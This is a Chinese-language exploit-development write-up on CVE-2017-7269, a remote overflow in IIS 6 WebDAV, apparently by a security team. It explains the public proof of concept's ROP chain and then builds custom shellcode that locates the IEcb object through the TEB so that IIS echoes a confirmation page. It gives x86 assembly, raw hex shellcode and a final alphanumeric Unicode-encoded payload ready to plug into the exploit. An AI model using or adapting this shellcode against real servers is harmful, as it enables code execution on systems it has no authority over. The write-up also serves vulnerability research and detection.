CVE-2017-7269
漏洞引发溢出漏洞,但是由于原来IIS 6 启用栈保护的,不能直接对栈上的Ret Address 进行操作,漏洞PoC 上实现的ROP 很巧妙,通过内存复制溢出修改IEcb 对象,控制IEcb 对象的地址,在ScStripAndCheckHttpProfix()
里触发虚函数调用,调到rsaenh.dll 里,此时Payload 已经改写rsaenh.dll 的内容,最后通过ROP 链获取KiFastSystemcall 利用ShareUserData ,再返回到ShellCode .现在我们针对ShellCode 开发,让IIS 6 产生回显.
IIS 创建完成容器之后,把对象传递到CDAVExt::DwMain() ,CDAVExt::DwMain() 再去解析HTTP 头部,触发漏洞.我们在分析CDAVExt::DwMain() 函数,发现IEcb 对象可以操控IIS 容器进行请求响应.
这样一来,我们只需要获取到栈上创建的IEcb 对象并且构造对虚函数的调用即可.
最后会保存到这个位置
那么难点在于,在跳到ShellCode 的时候,原堆栈已经不再ESP 和EBP 寄存器中保存
这种情况需要用到TEB 结构来获取栈信息,在TEB+4 的位置保存了栈顶的地址
于是通过栈顶与目的对象的偏移计算便可以得到该对象,下面是汇编代码
mov ecx,fs:[18h]
mov ecx,[ecx+4]
sub ecx,340h
mov ecx,[ecx]
获取到对象之后,再去得到对象的虚函数入口点
mov eax,[ecx]
mov eax,[eax+0A0h]
接下来就是函数调用构造
push edi
push 13
add edi,14;
push edi
push 84
call eax
字符串和ShellCode 保存在一起,于是还需要通过寻址的方式找到字符串
call 0
pop esi
mov edi,esi;
add edi,11h; // 11h 后面就是字符串
组合所有的ShellCode ,建议在VC++ 6 下编译
**asm { int 3 // for debug mov ecx,fs:[18h] mov ecx,[ecx+4] sub ecx,340h mov ecx,[ecx] mov eax,[ecx] mov eax,[eax+0A0h] push ecx push 200 call address }; address: **asm {
pop esi
mov edi,esi;
add edi,11h;
push edi
push 13
add edi,14;
push edi
push 84
call eax
// 下面的字符串需要手动构造
//db "CVE-2017-7269\0"
//db "Content-Type: text/html\r\nContent-Length:31 \r\n\r\n<body>CVE-2017-7269 Vuln</body>\0"
};
最终处理的ShellCode 如下:
"\xCC\x64\x8B\x0D\x18\x00\x00\x00\x8B\x49\x04\x81\xE9\x40\x03\x00\x00\x8B\x09\x8B\x01\x8B\x80\xA0\x00\x00\x00\x51\x68\xC8\x00\x00\x00\xE8\x00\x00\x00\x00\x5E\x8B\xFE\x83\xC7\x11\x57\x6A\x0D\x83\xC7\x0E\x57\x6A\x54\xFF\xD0CVE-2017-7269\0Content-Type: text/html\r\nContent-Length:26 \r\n\r\nHHIT CVE-2017-7269 Success\0"
最后使用Unicode 编码,命令如下:
alpha3.exe --nocompress --uppercase --unicode esi
得到最终ShellCode
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397N10WRJLMSSI7LNR72JPTKOXPQ3PV0ENM02NPNQNWNMNWOBNVP9KPOS2O2NT4S52N44NMB4RYD0C5OJMPBTQURX44NORH2TRMBLLMKZPCRORNSDQU2N2TNMPL1URN2GT4S8OJOBOFMPLMKZLMLJOXOX1924MPOSPV0ENMNRP0NQNWNMOGNROFP9O01CRU3333RET3SCM0M0A
-- HT team.